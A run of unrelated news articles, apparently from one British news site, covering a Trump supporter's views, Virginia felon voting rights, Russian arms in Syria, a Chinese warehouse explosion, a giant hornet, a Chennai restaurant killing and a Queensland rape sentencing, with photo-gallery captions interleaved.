Donald Trump is a well-known creature in our world, said Mr Campbell. Theres a certain hometown advantage for him in New Jersey and Connecticut. Beyond that, we are less overtly religious and Trumps brand - a self-described common sense conservatism - plays well here.

[North Easterners] also, I think, partly have a reputation for speaking their minds and not worrying too much if they offend people a little bit, he added.

But even upfront North Easterners might have trouble with Mr Trump, who has managed to cause outrage at most of his rallies with talks of deporting Mexicans, banning Muslims and insulting women  yet he remains the GOP Republican frontrunner. In Hartford, he called Bernie Sanders a communist, Hillary Clinton a disaster and harped on the old refrain of lyin Ted [Cruz].

He also ordered out six protesters by security staff, calling out: Theyre not supposed to be here. They really impede freedom of speech.

At a rally in New York after winning the state primary, former candidate for governor of New York Carl Paladino stood beside Mr Trump on stage. The fellow real estate mogul then said on a radio interview the same day that Obama and his administration were like raccoons in the basement, a nod to a racial slur.

You dont say no to supporters in politics, Mr Campbell replied. Paladino is a Republican and was in the running for governor. But he does not have the appeal.

Donald Trump has said no, however. He chose to mostly self-fund his campaign, and said no, if rather belatedly, to the support from David Duke, the former imperial wizard of the Ku Klux Klan.

I dont have to describe the difference between Paladino and a million people that support you [Trump] and an organisation [KKK] that has repugnant views that dont belong in the 20th century never mind the 21st century, insisted Mr Campbell.

Mr Trump also came under fire for suggesting that Muslims were clapping and cheering in New Jersey when they saw the Twin Towers fall down in 2001. Does that view belong in the 21st century?

Donald Trump sometimes exaggerates a point. As we used to say with Ronald Reagan, he misremembers a point, argued Mr Campbell. But whats the ultimate concern that he is addressing each time? Its an ultimate concern that is shared by most Americans.

So he may be a bit wrong on the details of that [claim], and he stuck to that story maybe longer than he should [have done] on the number of people [who] were cheering  apparently there were a few  and it wasnt on the scale that he was describing.

Mr Campbell insisted that radical Islam must be named as the root cause of terrorism otherwise the US is powerless to stop it.

If we cant have that level of honesty, and just being able to say: look, I respect Muslims, [] its a major religion of the world, but theres something there that is creating this radical root within and its turning our world upside down, he said.

Mr Campbell, who works in real estate, supports the presidential candidates immigration proposals. He said he lived in Switzerland for 10 years and praised the country for being both a liberal western democracy and for enforcing its borders but still maintaining an ethnically diverse population.

I know they used to round up Turks in the woods, at the Swiss-Italian border all the time and put them in jail. No one was allowed in the country without papers.

Does he think Mr Trump will really build the wall?

I havent been to the US-Mexican border. I understand we have a fence, he said.

My family are immigrants, everybody in America was ultimately an immigrant but most of them came in legally, actually, he added. I know many Hispanic Americans that  who came in legally. I mean the man who cuts my lawn is a very successful entrepreneur.

In a state with a history of manufacturing, the Harvard Law graduate praised Mr Trumps policies on corporate tax, the economy, free trade, protecting domestic manufacturers, not messing with social security and his claim that the war in Iraq brought about under the Bush administration was a big, fat mistake. (Mr Trump claimed otherwise during a 2002 interview with Howard Stern).

This is the Bush hometown, right? No more Bushes, said Mr Campbell.

Unlike other Republicans, Mr Trump has taken a softer line on Planned Parenthood, arguing it provides valuable services for millions of women  but still said he would defund it.

Mr Campbell said he is pro-choice, but said it would be cleaner to stick with the 1976 federal law called the Hyde Amendment which only provides funding for abortions in the case of rape or incest or where the life of the mother is in danger.

Mr Trump also said recently, referring to the newly-passed anti-LGBT law in North Carolina, that transgender people should use any bathroom they want.

Was that a strategic move to gain ground in the North East?

I heard him speak in Indiana, and he says it there anyhow, said Mr Campbell, referring to the Indiana primary on 3 May. I think theres a lot more honest to God, tell it like it is than there is cleverness.

With Mr Trump poised for another suite of victories on 26 April, Mr Campbell summed up why the Republican managed to continually create controversy yet still come in first place.

All politicians have stump speeches and they all deliver lines that are known as red meat for the masses, he said. Behind the soundbites, an important theme is resonating.
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The governor of Virginia has taken the controversial step to restore voting rights to more than 200,000 former convicted offenders - a move that could play an important role in Novembers elections.

Terry McAuliffe said he was using his executive power to allow them to vote again, circumventing his Republican-run legislature. He said the action would overturn a Civil War-era provision in the states Constitution he claimed was intended to disenfranchise African-Americans.

Reports said the majority of the 200,000 former felons affected were African Americans, which have traditionally made up a key segment of support for Democrats.

The governors action means that every Virginia convict who has completed their sentence and finished any supervised release, parole or probation requirements by April 22 will be able to vote, run for public office, serve on a jury and become a notary public. The administration estimates that about 206,000 people will be impacted.

Too often in both our distant and recent history, politicians have used their authority to restrict people's ability to participate in our democracy, Mr McAuliffe said in a statement.

Today we are reversing that disturbing trend and restoring the rights of more than 200,000 of our fellow Virginians, who work, raise families and pay taxes in every corner of our Commonwealth.

On Thursday he said there was no question that weve had a horrible history in voting rights as relates to African-Americans.

The Associated Press said that Mr McAuliffe had made the restoration of rights of former convicts a priority of his administration. Before Friday's order, the administration had restored the rights of more than 18,000 felons, which officials said is more than the past seven governors combined.

The Washington based Sentencing Project estimates that nearly six million Americans are barred from voting because of laws disenfranchising former felons. Maine and Vermont are the only states that do not restrict the voting rights of convicted felons.

Such policies disproportionately prevent African Americans from voting, the group says. Virginia is among three states where more than one in five black adults have lost their voting rights, according to a recent Sentencing Project report.

The Washington Post said that three states - Kentucky, Iowa and Florida - permanently revoke voting rights for people with prior felony convictions. Virginia has also been one of those states that revoked the right to vote. But in recent years, both Mr McAuliffe and former governor Robert McDonnell have used their executive authority to try to restore voting rights to ex-offenders.

While we celebrate today in Virginia, we know the work continues in states like Florida, where people remain denied the restoration of their fundamental right to vote, said Judith Browne Dianis, co-director of the Advancement Project.
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The US has said it is concerned about Russias efforts to re-arm Syrian president Bashar al-Assad's forces as peace talks, the most serious efforts to stop the war, are crumbling in Geneva.

Russia appears to be re-locating artillery weapons to north Syria, indicating that the Syrian government and its allies are gearing up for an another attack on the divided city of Aleppo.

We've been concerned about reports of Russia moving materiel into Syria, Ben Rhodes, deputy national security adviser to President Barack Obama, said in Riyadh, Saudi Arabia, where Obama was at a summit with Gulf Arab leaders.

We think it would be negative for Russia to move additional military equipment or personnel into Syria. We believe that our efforts are best focused on supporting the diplomatic process, Mr Rhodes said.

The ceasefire began to fall apart two weeks ago near Aleppo, which is divided between Syrian government, rebel forces and ISIS.

Mr Obama phoned Mr Putin to have an intense conversation earlier this week.

President Obama said directly to President Putin when they spoke on the phone several days ago that Russia should focus its efforts on the diplomatic process, on maintaining the cessation of hostilities and working with the Syrian government to get them to take seriously the process of negotiation and ultimately transition, Mr Rhodes added.

After the phone call on Monday, Mr Putin said in a statement that he was committed to strengthening the ceasefire but again reiterated that Syrian forces are targeting terrorists when US-supported rebels have been attacked.

The news comes just weeks after Russia had declared a partial withdrawal of its support from Syria while keeping men on the ground, but the Kremlin is now using more helicopters to provide aid, according to analysts.

Russias air force began bombing rebel-held areas of Syria in support of Mr Assad last September and has continued airstrikes even since the announced withdrawal in March.

States opposed to Mr Assad, however, have been arming and training rebel groups via Turkey and Jordan, which has been partly overseen by the US Central Intelligence Agency.

After a five-year war and the death of 250,000 people, millions of Syrian refugees are fleeing to Europe and 6.5 million more are displaced within the country, according to the United Nations High Commissioner for Refugees.

More artillery provided by Vladimir Putin to government forces would send peace talks and the failed truce into further meltdown.

Meanwhile Mr Obama has been hesitant to send troops to Syria in a war which has no end in sight and which has loomed as a large shadow over his foreign policy record.

Most members of the Syrian opposition in Geneva are speculated to leave by Friday, after a regime air strike killed dozens this week.

UN Special Envoy Staffan de Mistura said he will assess on Friday whether Geneva peace talks can continue, but did not indicate what he expected would happen.

The talks in Geneva have stalled as both sides accuse each other of breaking the ceasefire, which started in late February and lasted for just six weeks.

One senior diplomat has warned that peace talks might take a year to resume if they are abandoned.

Both sides, however, wish to stop the rise of the Islamic State, which has carried out terrorist acts against Russia and the US alike, and to stem the continuing tide of refugees into Europe.

But the opposition to Mr Assad said the truce could not go on while his government continued to carry out massacres of its own people.

If the regime insists on stubbornness, obstruction and rejection of international resolutions, we will continue our revolution, Abdullah Othman, head of the politburo of the Levant Front rebel fighting group, told Reuters.

Our only option is to realise the revolution's goals.

In the absence of Syrian government members attending peace talks, France said it would consider meeting with the US and European powers within the next two weeks to work out what it needs to do.

In March 2011, pro-democracy protesters were crushed in the Southern city of Deraa. National outrage and demonstrations ignited a civil war.

The country is now fragmented into groups, some controlled by the government, others by rebel forces or Kurdish YPG militia, as well as ISIS territories.

Additional reporting by agencies.
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A warehouse containing chemicals and fuel has exploded in the city of Jingjiang in the east of China.

The city government said the situation at the site in Jiangsu Province was under control and there were no casualties.

However, some people in the area were suffering from shortness of breath and chest pains after a large fire began, according to local news outlets.

Emergency services could be seen fighting the flames on pictures posted to Chinese social media.

Photos also appeared to show a huge column of smoke emanating from the site.

A picture of the fire posted to Chinese social media (Weibo)

Another view of the fire, posted to Chinese social media (Weibo)

Eyewitnesses reported a strong noxious smell spreading in the area.

It is believed methanol was one of the main substances which fuelled the blast.

Despite the severity of the fire, local officials said the situation had returned to "normal" near the site.

In August 2015, the series of enormously destructive Tianjin explosions killed 173 people after warehouses containing chemicals, including fertilizer ingredient ammonium nitrate, exploded.

The incident led to calls for tighter industrial regulations.
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A woman in Japan had an unwelcome surprise when she opened her cupboard to discover an enormous Japanese Giant Hornet nestling in her clothes.

The insects, which are often around 4.5cm long and have a sting which can pierce leather, are a sub-species of the Asian Giant Hornet, one of the most dangerous bugs in the world.

The woman, known by her Twitter handle @sun_s_k, posted the photos to social media, showing off the size of the hornet and asking for advice on dealing with it.

It is thought the specimen could be a Queen, which often emerge from hibernation in the spring months. Giant hornets are most active from August to October.

She later took care of the hornet using a compass and the incident passed off without injury. However, the species is known to sometimes behave very aggressively.

The sting of the Asian Giant Hornet is extremely painful, and can cause tissue and kidney damage.

Japanese Entomologist Masato Ono once described being stung as "like a hot nail through my leg."

In the worst cases, where victims are stung around 60 times or more, death may be caused by cardiac arrest, anaphylactic shock or multiple organ failure.

There are several dozen fatalities every year in Japan alone because of Asian Giant Hornet stings. However, one of the worst instances was in 2013, when a spate of hornet attacks killed 41 people and injured 1,600 more over several months in Chinas Shaanxi province.

The weirdest and most shocking news stories Show all 30 1 /30 The weirdest and most shocking news stories The weirdest and most shocking news stories What do horse semen, an elephant and a yurt have in common Leading removals company AnyVan.com operates on the premise that they can move anything anywhere, an undertaking which has certainly given them more than they bargained for over the years. In addition to the more common requests to move homes, furniture and pianos, listings have included a horse semen, live elephant, a cabinet engraved with the Kamasutra, a phallic statue, a dungeon gynaecological bondage chair, a yurt and an ice cream van The weirdest and most shocking news stories Couple find dead lizard inside the can of tomatoes A couple in Birmingham were making lunch when they found the surprise addition of a dead lizard in a can of tomatoes. Muhammad Hussain and his wife Sanam discovered the critter had managed to get into the can that Mrs Hussain had been using to cook a curry. Mr Hussain was alerted to the presence of the lizard when he heard his wife screaming as she made lunch BBC The weirdest and most shocking news stories Greggs (a bakery) has actually stopped selling loaves of bread You'd have thought a bakery would be the one place you'd be guaranteed to buy a loaf of bread. Well, not at Greggs. According to the companys website, customers are able to buy white or malted sliced loaves which are freshly baked every day. So when one customer went into his local Greggs in Burton-upon-Trent, he was surprised to be told they didn't stock them any more. According to the company, they will now focus on the food to go market, which means most of the bread that the company sells is in sandwiches AFP The weirdest and most shocking news stories Man trolls plane passengers by painting sign on his roof welcoming them to the wrong city One US homeowner has taken trolling to another level by painting a message on his roof top to deliberately trick aeroplane passengers into thinking theyve boarded the wrong flight. Mark Gubin painted the sign Welcome to Cleveland on his home which is next to Mitchell International Airport in Milwaukee. Milwaukee is a city in Wisconsin, some four hundred miles away from Cleveland, in the state of Ohio, prompting passengers to fear theyve accidentally boarded the wrong flight as they spy the trick lettering from the aeroplane window Google Maps The weirdest and most shocking news stories Missing cat found after spending 64 days trapped inside a mattress A family who thought theyd lost their cat as they prepared to move 3,000 miles across the US, were relieved when they found their pet inside a mattress some 64 days later. Moosie, a 2-year-old tabby cat, disappeared when Kymberly Chelf and her husband Jesse Chelf boxed up their belongings in preparation for their move from El Paso, Texas, to Anchorage, Alaska. In early June, the familys belongings arrived at their new home along with a big part of their old life. When the Chelfs heard a meow coming from inside the box, Mrs Chelf said: "it just sounded like he [Moosie] was giving it everything he had just to let us know he was there." The cat had been trapped for over two months without light, food or water. Moosie emerged from the ordeal suffering from severe dehydration and with a damaged liver, but vets have said he is in a good condition, CNN reported AP Photo/Fairbanks Daily News-Miner, Eric Engman The weirdest and most shocking news stories There's a lottery in which the prize is a 20-year supply of bacon Indiana's Hoosier Lottery is switching from cold, hard cash to hot, crispy bacon for its prize, offering players the chance to win 20 years-worth of the stuff. $5,000 of bacon will be dished out in 20 annual instalments to winners, according to the rules, presumably because no-one has the freezer space for 20 years of bacon. It's an ingenious ploy, given that anyone who tried to eat 20 years of bacon would probably struggle to live 20 years The weirdest and most shocking news stories Demonic CIA Osama Bin Laden doll goes up for sale at auction for $5,000 One of the strangest propaganda weapons of the War on Terror has gone up for sale at auction, and it could be yours for only $5,000. The item in question is a doll of Osama Bin Laden, designed to terrify the children of the Middle East so much that they would be permanently put off from joining Islamist groups. The doll is a fairly faithful recreation of the late terrorist leader, complete with white robes, combat boots, and a scraggly black beard. The propaganda value in the bizarre toy comes from the heat-sensitive paint used on the doll's face. When children played with the doll, the heat from their hands would activate the paint, and change Osama into a terrifying green-eyed, red-faced demon, with black markings all over his face Nate D. Sanders The weirdest and most shocking news stories The mystery of the 25-year-old Australian cat which turned up in Northern Ireland An Australian cat has been mysteriously found in Northern Ireland, sparking speculation as to how he made the 12,000 mile journey. The ginger cat was picked up by Cat Protection helpers in County Armagh last week. When animal welfare officers took him to the vet for a health check, it was discovered that he had been micro-chipped in Australia. The plot thickened as the chip revealed he has also been found as a stray across the Irish Sea in London Photo: Cat Protection The weirdest and most shocking news stories Replacement found after 'over-enthusiastic' bull breaks his own penis A prize bull has had to be taken off his farmers breeding programme after he suffered a broken penis. The injury, which the Simmentall bull sustained at the beginning of the breeding season, was probably due to being over-enthusiastic, according to his owner, Tommy Moyles. According to the Irish Mirror, Mr Moyles was then forced to bring another bull, which was previously destined for the slaughterhouse, out to provide his services Ian Forsyth/ Getty The weirdest and most shocking news stories Thieves steal four pints of bull semen from Minnesota farm A group of thieves have stolen about four pints of bull semen from a farm in southern Minnesota in the US - and could sell it on for an extraordinary amount of money. Police in the town of Leroy said they are investigating the theft of a $500 storage container with around 90 filled vials. On the open market, that amount of semen would be worth around $70,000 (47,000) Screengrab via CBS News The weirdest and most shocking news stories Charcoal has become the hot new flavouring If you want to be in on the latest trend in Britain's restaurants and bars, you're going to have to feel - and indeed taste - the burn. Some words of comfort next time you overfry, overbake, overboil or otherwise burn your dinner to a crisp: charcoal, in all its dark and mysterious forms, is being embraced by some of the best in the food and drinks business. It's not just about cooking on a grill (although that's also a booming market), but charcoal as an actual ingredient  bringing flavour, colour, texture and a touch of playfulness to plates of food and bottles of juice. This news comes on the heels of Burger King Japan's Kuro Pearl offering, a burger with a jet-black bamboo charcoal bun, which met with a mix of hysteria and confusion upon its launch last year. It turns out that the fast food giant was bang on: charcoal is the new, well, black Victor De Jesus The weirdest and most shocking news stories Woman claims ski accident has given her extraordinary mental powers An anonymous woman in America has told an incredible story of how she was left with extraordinary mental abilities after hitting her head in a skiing accident. The ex-student revealed that she now has a condition known as acquired savant syndrome following the heavy fall on the slopes during a family holiday. The syndrome now lends her incredible powers of memory and the writer explains how she can draw diagrams of thousands of places, with thousands of rooms, branches and doorways right down to the smallest detail in a piece for xojane.com. An individual with savant syndrome will display remarkable and sometimes spectacular talents, according Jonathan Hiles, Principal Lecturer of Health and Life Sciences at De Montford University, in an online article regarding the condition Getty The weirdest and most shocking news stories This octopus learned to use a camera faster than some humans A brainy octopus at a New Zealand aquarium has learned how to take photos - using a waterproof camera specially designed to be operated with tentacles. Rambo the octopus, a popular attraction at Kelly Tarlton's Sea Life Aquarium in Auckland, New Zealand, stunned her trainers with how quickly she got to grips with the camera. Speaking to Cult of Mac, Mark Vette, Rambo's trainer, said: "When we first tried to get her to take a photo, it only took three attempts for her to understand the process. That's faster than a dog." He added: "Actually, it's faster than a human in some instances" ULI DECK/AFP/Getty Images The weirdest and most shocking news stories 4-year-old leaves home at 3am to buy a 'Slushie' drink Its commonplace to see strange sights on the night bus. But passengers were completely baffled to witness a little girl boarding the vehicle alone at 3am just to satisfy her sweet-tooth. Four-year old Annabelle Ridgeway climbed onto a bus, having been drenched in the rain and without her parents knowledge, to find a place to buy a crushed-ice beverage. Bus driver Harlan Jenifer, 52, quickly called for assistance and Annabelle was taken to a local hospital to wait for her mother YouTube The weirdest and most shocking news stories Little girl goes off on surprising tangent after being told she's going to be a big sister It starts like one of those classic, schmaltzy parent-and-child YouTube videos. 3-year-old Kathryn's dad informs her in no uncertain terms that she's going to get a little sister. Kathryn pauses for a second, apparently stunned by the news. But no! There's no tearful excited, she just whispers "I farted" The weirdest and most shocking news stories Shia LaBeouf's heartbeat is now available for livestreaming Walking Hollywood masterpiece Shia LaBeouf is offering the internet the chance to get closer to him than ever before. But dont let that utterly terrify you  the actors latest offer has nothing to do with paper bags, paraphrasing footballers or running around museums in Amsterdam 144 times sporting lycra and a single dreadlock. Instead, the 28-year-old will be livestreaming his heartbeat for the next week as part of a new metamodern performance art piece with his previous #IAMSORRY collaborators Nastja Sade Ronkko and Luke Turner. The project, called Follow My Heart, was announced at the SXSW festival The weirdest and most shocking news stories What color is this dress? The internet has been divided into two warring tribes by a picture of a dress functioning as an accidental colour perception experiment. #TheDress, as it has become known, was spotted by a blogger who turned to Tumblr for help when the garment started an argument among her friends. The question of whether it is blue and black or gold and white has divided friends, families and the celebrity world. This dress has sparked an internet frenzy the likes of which has not been seen since Left Shark took the Super Bowl by storm Caitlin McNeill/Wired The weirdest and most shocking news stories Llamas on the run The world didn't know how to contain itself when it saw two llamas running around a city but for motorists in Arizonas Sun City, it was no doubt an a-lama-ing sight. Two of the animals, one black and one white, decided to dash through the centre of the city, doing their best to evade local residents trying to catch them. After a number of near things, the animals were captured by means of a lasso. The owner of the llamas told local media there had actually been three llamas that got spooked and ran away near the centre of the town. He said the animals were part of a mobile petting zoo at a Sun City care centre The weirdest and most shocking news stories Madonna falls off stage at Brit Awards This years Brit awards ceremony looked set to fade from memory like so many others in recent history until Madonna fell down the stairs after a serious wardrobe malfunction. The queen of pop, 56, was making her first performance at the Brits in two decades, when just seconds into Living for Love she was pulled backwards down a flight of stairs by her backing dancers. She fell heavily on to her back, the long cape and hood she had been wearing failing to separate from her other clothes. She fell heavily on to her back, the long cape and hood she had been wearing failing to separate from her other clothes The weirdest and most shocking news stories 'Left Shark' steals Super Bowl 2015 as Katy Perry is upstaged by her out-of-time support dancer While Katy Perry strutted her stuff during the half-time show  which involved multiple costume changes, an entrance on a large metallic lion and duets with Lenny Kravitz and Missy Elliott  social media users were left star-struck by the figure now known as Left Shark. Within minutes, Left Shark had its own Twitter account  which has since expanded to no fewer than six different accounts  but it was not the sharks killer moves and deadly accuracy on stage that gained so much attention, but rather the fact that it had no idea what it was doing. Perhaps even drunk, Left Shark was out of time with Right Shark, who was a picture of perfection as he moved with the beat and in time with Perry  who by this time was already onto her third costume change and bursting into a rendition of Teenage Dream Getty Images The weirdest and most shocking news stories Kim Kardashian breaks the internet Kim Kardashian West has recreated the iconic "champagne incident" image by Jean-Paul Goude for the December issue of Paper magazine. Kardashian West is pictured on the cover of the magazine popping open a bottle of champagne which lands in a glass perched on her bottom. In another image released by the American publication, Kardashian-West is pictured naked from behind provocatively dropping her dress. Two further images were released by the magazine last night which show the reality TV star baring all; in one full-frontal shot and another topless image The weirdest and most shocking news stories Zombie cat A US cat owner has been left baffled after he claimed his dead pet turned up outside his front door  five days after being buried. Ellis Hutson told vets in Tampa Bay, Florida, that he had found his black and white cat Bart lying in a pool of blood after he was hit by a car. According to Fox 13, Hutson told the Human Society of Tampa Bay that he had taken Bart away and buried him, and could not explain how the cat came to be spotted by neighbours a full five days later YouTube The weirdest and most shocking news stories 'F*ck it, I quit': KTVA reporter Charlo Greene quits live on air in spectacular fashion KTVA reporter Charlo Greene quit her job on live TV last night, outing herself as the owner of an Alaskan cannabis club and declaring "f*ck it." Having grown weary of reporting the news, Greene told viewers she would instead be putting all her energy into the fight to legalise marijuana in the state, having previously reported on the Alaska Cannabis Club without mentioning her connection to it KTVA The weirdest and most shocking news stories Nation in shock as Cadbury's changes the Creme Egg recipe In a bilateral attack on the glory of Easter, Cadbury's has stunned consumers by changing the recipe of its Creme Eggs and reducing their number in boxes from six to five. Reports that the latest batch of Creme Eggs tasted different were followed up by The Sun, wih Cadbury's confirming to the tabloid that it has switched out Dairy Milk for a "standard cocoa mix chocolate" in the shell Cadbury's The weirdest and most shocking news stories Chocolate Digestives revelation could change the face of biscuit eating forever Shut the biscuit tin, defenestrate your cup of tea, this is serious snack news: you have been eating chocolate biscuits upside down. Biscuits in fact have the chocolate on the bottom of the biscuit, not the top, McVitie's have confirmed, meaning Digestives, Hobnobs and more have a history of being eaten the wrong way up. The news sent shockwaves across the UK's subreddit, after a user posted an email from United Biscuits explaining their composition. "For your information," a spokesperson wrote, "the biscuits go through a reservoir of chocolate which enrobes them so the chocolate is actually on the bottom of the biscuits and not on the top" The weirdest and most shocking news stories Dollar store toy wand has hidden picture of demonic child cutting herself with a kitchen knife A mother in Dayton, Ohio was shocked when she purchased a toy wand for her child at a dollar store only to find it ran not on unicorn hair but a picture of a child slicing her arm open. In fairness to the dollar store (literally called '$.100 store') the product was named 'EVIL STICK', though the pink lettering, fairies, swirls and snowflakes on the packaging ensured it would catch the eye of toddlers. The fact that the wand emits a cackling laugh when activated is probably permissible, the horrific hidden image less so WHIO The weirdest and most shocking news stories Hello Kitty is not a cat - she's a British girl The revelation comes from Sanrio, the creators of the international toy, who contacted University of Hawaii anthropologist Christine R. Yano who was putting together a 40th anniversary retrospective of Hello Kitty in Los Angeles. Professor Yano, speaking to the LA Times, said: That's one correction Sanrio made for my script for the show. Hello Kitty is not a cat. She's a cartoon character. She is a little girl. She is a friend Getty The weirdest and most shocking news stories Cannabis-eating sheep munch through 4,000 in plants dumped in bag near farm Cannabis is known to leave its smokers feeling woolly-headed, but it seemed to have little effect on a flock of sheep who chomped their way through thousands of pounds worth of the drug. The hungry hash-eaters came across seven black bags containing the class B banned substance that had been dumped at the edge of their farm in Merstham, Surrey, and started scoffing Getty The weirdest and most shocking news stories Tesco cash machine offers 'free erection' because of mistake translating sign into Welsh Aberystwyth councillor Ceredig Davies took this picture after the new cash machine became the talk of the town, explaining that 'codiad am ddim' translates colloquially as 'free erection' Ceredig Davies The weirdest and most shocking news stories Parrot returns to British owner speaking Spanish - four years after disappearing Nigel, a grey African parrot, flew away from his home in California in 2010 but was returned to his British owner, Darren Chick, after he was discovered in Torrance, California. Although the Spanish-speaking bird bit Mr Chick when he first saw him, the happy owner said: "He's doing perfect. Mr Chick says his birds British accent is gone, replaced by fluent Spanish  and someone called "Larry". Even though he has no idea where the bird has been for the last four years, he claimed: "It's really weird, I knew it was him from the minute I saw him" Getty

Despite this, Mr Ono remained in admiration of the insects, telling National Geographic: "They seem brutal to us, but they're just doing what they have to do to survive. They're excellent mothers and fierce protectors."

Asian Giant Hornets also pose a threat to other insects and can devastate honey bee colonies, according to entomologist Dr Chris Terrell-Nield of Nottingham Trent University.

One hornet can kill 40 bees per minute, not by stinging them, but by biting off their heads, wrote Dr Terrell-Nield. Less than 50 can wipe out a 30,000-strong bee colony in a few hours.

However, despite its status as a predator at the top of the food chain, numbers of Asian Giant Hornets are declining in some areas, largely because of deforestation depriving them of their natural habitat.
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An Indian cook specialising in dosa crepes has been charged with killing his colleague, who was an expert chutney maker, using a full sack of rice.

Police say the "dosa master" at an restaurant in the Chepauk area of Chennai threw a 75kg bag of rice onto the head of the "chutney master".

Both men allegedly involved in the fight were living in the same room on the first floor above the eatery, police say.

The cause of the initial quarrel between the pair reportedly began when Muruganantham, 42, drunkenly forced Arumugam, 52, to eat food while he was chopping onions to make chutney and sambar.

'Chutney master' Arumugam then allegedly attacked 'Dosa Master' Muruganantham with a knife giving him a cut that was treated in a nearby hospital, Times of India reports.

Police said that when restaurant owner Ganesh was informed of the situation, he told Arumugam to leave the premises.

However, Arumugam returned to sleep in the room he shared with Muruganantham.

On spotting the sleeping chutney master, Muruganantham reportedly tried to strangle him, police say, causing Arumugam to faint.

Prince William and Kate Middletons visit to India Show all 32 1 /32 Prince William and Kate Middletons visit to India Prince William and Kate Middletons visit to India Prince William and Kate Middletons visit to India Prince William and Kate Middletons visit to India Prince William and Kate Middletons visit to India Prince William and Kate Middletons visit to India Prince William and Kate Middletons visit to India Prince William and Catherine, Duchess of Cambridge, paint an elephant statue at Kaziranga Discovery Park in Panbari village, in Kaziranga, some 250 km from Guwahati, the capital of the north-eastern state of Assam Prince William and Kate Middletons visit to India Britain's Catherine, Duchess of Cambridge, feeds a baby elephant at the Centre for Wildlife Rehabilitation and Conservation (CWRC) at Panbari reserve forest in Kaziranga in the northeastern state of Assam, during the royal visit in India Prince William and Kate Middletons visit to India Prince William and Duchess of Cambridge, meet a rhino calf at the Centre for Wildlife Rehabilitation and Conservation (CWRC) at Panbari reserve forest in Kaziranga in the northeastern state of Assam Prince William and Kate Middletons visit to India Catherine and Prince William take a Game drive at Kaziranga National Park at Kaziranga National Park in Guwahati Prince William and Kate Middletons visit to India Catherine, Duchess of Cambridge and Prince William visit a contact centre run by the charity Salaam Baalak, which provides emergency help and long term support to homeless children at New Delhi railway station Prince William and Kate Middletons visit to India Catherine, Duchess of Cambridge and Prince William, Duke of Cambridge meet a young dancer as they watch dancing by the fireside during a Bihu Festival Celebration at Diphlu River Lodge Prince William and Kate Middletons visit to India The Duke and Duchess of Cambridge meet Prime Minister of India Narenda Mod in New Delhi's Hyderabad House during day three of the royal tour to India and Bhutan Prince William and Kate Middletons visit to India Catherine and William visited the Banganga Water Tank. They were given a traditional welcome at Bangana Water Tank and met representatives from SMILE, an organisation working in an economically deprived urban area to support local enterprise Prince William and Kate Middletons visit to India Duchess Of Cambridge enjoys a game of cricket during a visit to meet children from Magic Bus, Childline and Doorstep, at Mumbai's iconic recreation ground, the Oval Maidan Prince William and Kate Middletons visit to India Prince William and Catherine Duchess of Cambridge at India Gate in New Delhi Prince William and Kate Middletons visit to India Prince William and his wife Catherine take part in an event at the Gandhi Smriti, a museum dedicated to Mahatma Gandhi, in New Delhi Prince William and Kate Middletons visit to India Prince William and Duchess of Cambridge meet young entrepreneurs during a visit to Mumbai Prince William and Kate Middletons visit to India The Duke and Duchess of Cambridge prepare to lay a wreath at the Inida Gate in New Delhi Prince William and Kate Middletons visit to India The Duke and Duchess of Cambridge remove their shoes at Gandhi Smriti in New Dehli, India before paying their respects at the Mahatma Gandhi memorial Prince William and Kate Middletons visit to India The Duke and Duchess toured the museum housed in the Old Birla House and paid their respects at the place where Mahatma Gandhi's life ended on 30 January 1948 Prince William and Kate Middletons visit to India Duchess of Cambridge and Prince William pose for a picture at India Gate Memorial Prince William and Kate Middletons visit to India Prince William and Catherine pay their respects at the place where Mahatma Gandhi's life ended on 30 January 1948, at Gandhi Smriti, the Old Birla House museum Prince William and Kate Middletons visit to India The Duke and Duchess of Cambridge poses with local school children as they tour Old Birla Hous in Gandhi Smriti in New Dehli Prince William and Kate Middletons visit to India The Duke Duchess of Cambridge meet children from local charities Magic Bus, Childline and Doorstep, and join game of cricketwith boys from the Dilip Vengsarkar Academyat the Oval Maidan recreation ground Prince William and Kate Middletons visit to India The Duke and Duchess of Cambridge are garlanded as they arrive at the Banganga Water Tank in Mumbai Prince William and Kate Middletons visit to India Catherine, Duchess Of Cambridge plays football during a visit to meet children from Magic Bus, Childline and Doorstep Prince William and Kate Middletons visit to India The Duke and Duchess of Cambridge react after playing football during a visit to the Banganga Water Tank in Mumbai Prince William and Kate Middletons visit to India Duchess of Cambridge and Prince William play football games during a visit to the Banganga Water tank, where they met representatives of SMILE Prince William and Kate Middletons visit to India The Duke and Duchess of Cambridge arrive at a Bollywood Charity Gala hosted by the British High Commission and the British Asian Trust at the Taj Mahal Palace hotel in Mumbai Prince William and Kate Middletons visit to India Catherine, Duchess of Cambridge arrives for a Bollywood Inspired Charity Gala at the Taj Mahal Palace Hotel Prince William and Kate Middletons visit to India Prince William and Duchess of Cambridge speak with Boman Kohinoor during a meeting in Mumbai Prince William and Kate Middletons visit to India The Duke and Duchess of Cambridge stand after laying a wreath on the martyrs memorial at the Taj Mahal Palace Hotel in Mumbai

According to police, it was at this point, the dosa master picked up the rice sack and threw it onto his colleague's head killing him.

Muruganantham has been charged with murder and remanded in custody.
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A mother who held her daughter down as her partner raped her has been sentenced to seven years in prison.

A court in Queensland, Australia heard that the woman had whispered in her daughters ear that her partner wished to have sex with her the night before her 15th birthday.

The girl had been sleeping in the couples bed.

The teenager had been staying with her 36-year-old mother in April 2015 when her mother held her down and removed her underwear, despite hearing her cries for help.

Judge Michael Shanahan said in summary that even though minimal violence was used the pair had threatened the girl to keep quiet about the rape and had deeply traumatised her, News Mail Australia reports.

He said he did not see a difference between the offences when it came to holding her down or committing the physical rape.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image 